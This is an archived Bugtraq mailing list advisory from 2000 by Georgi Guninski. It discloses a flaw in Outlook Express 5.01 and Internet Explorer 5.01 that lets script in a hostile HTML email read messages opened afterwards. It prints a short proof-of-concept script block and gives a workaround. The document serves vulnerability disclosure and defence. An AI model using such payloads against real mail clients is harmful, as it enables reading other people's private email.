Home page logo
/

bugtraq logo Bugtraq mailing list archives

Outlook Express 5 vulnerability - Active Scripting may read email messages
From: joro () NAT BG (Georgi Guninski)
Date: Tue, 1 Feb 2000 15:48:48 +0200


Georgi Guninski security advisory #6, 2000

Outlook Express 5 vulnerability - Active Scripting may read email
messages

Disclaimer:
The opinions expressed in this advisory and program are my own and not
of any company.
The usual standard disclaimer applies, especially the fact that Georgi
Guninski is not liable for any damages caused by direct or  indirect use
of the information or functionality provided by this program.
Georgi Guninski, bears NO responsibility for content or misuse of this
program or any derivatives thereof.

Description:
Outlook Express 5.01 and Internet Explorer 5.01 under Windows 95
(suppose other versions are also vulnerable)
allow reading subsequently opened email messages after a hostile message
is opened.

Details:
The problem is assigning the document object of the email message to a
variable in a newly opened window.
Thru this variable access is possible to open email messages.

The code that must be included in HTML message is :
---------------------------------------------------------------------
<SCRIPT>
a=window.open("about:<A HREF='javascript:alert(x.body.innerText)' >Click
here to see the active message</A>");
a.x=window.document;
</SCRIPT>
---------------------------------------------------------------------

Workaround: Disable Active Scripting

Regards,
Georgi Guninski
http://www.nat.bg/~joro


  By Date           By Thread  

Current thread:
  • Outlook Express 5 vulnerability - Active Scripting may read email messages Georgi Guninski (Feb 01)
[ Nmap | Sec Tools | Mailing Lists | Site News | About/Contact | Advertising | Privacy ]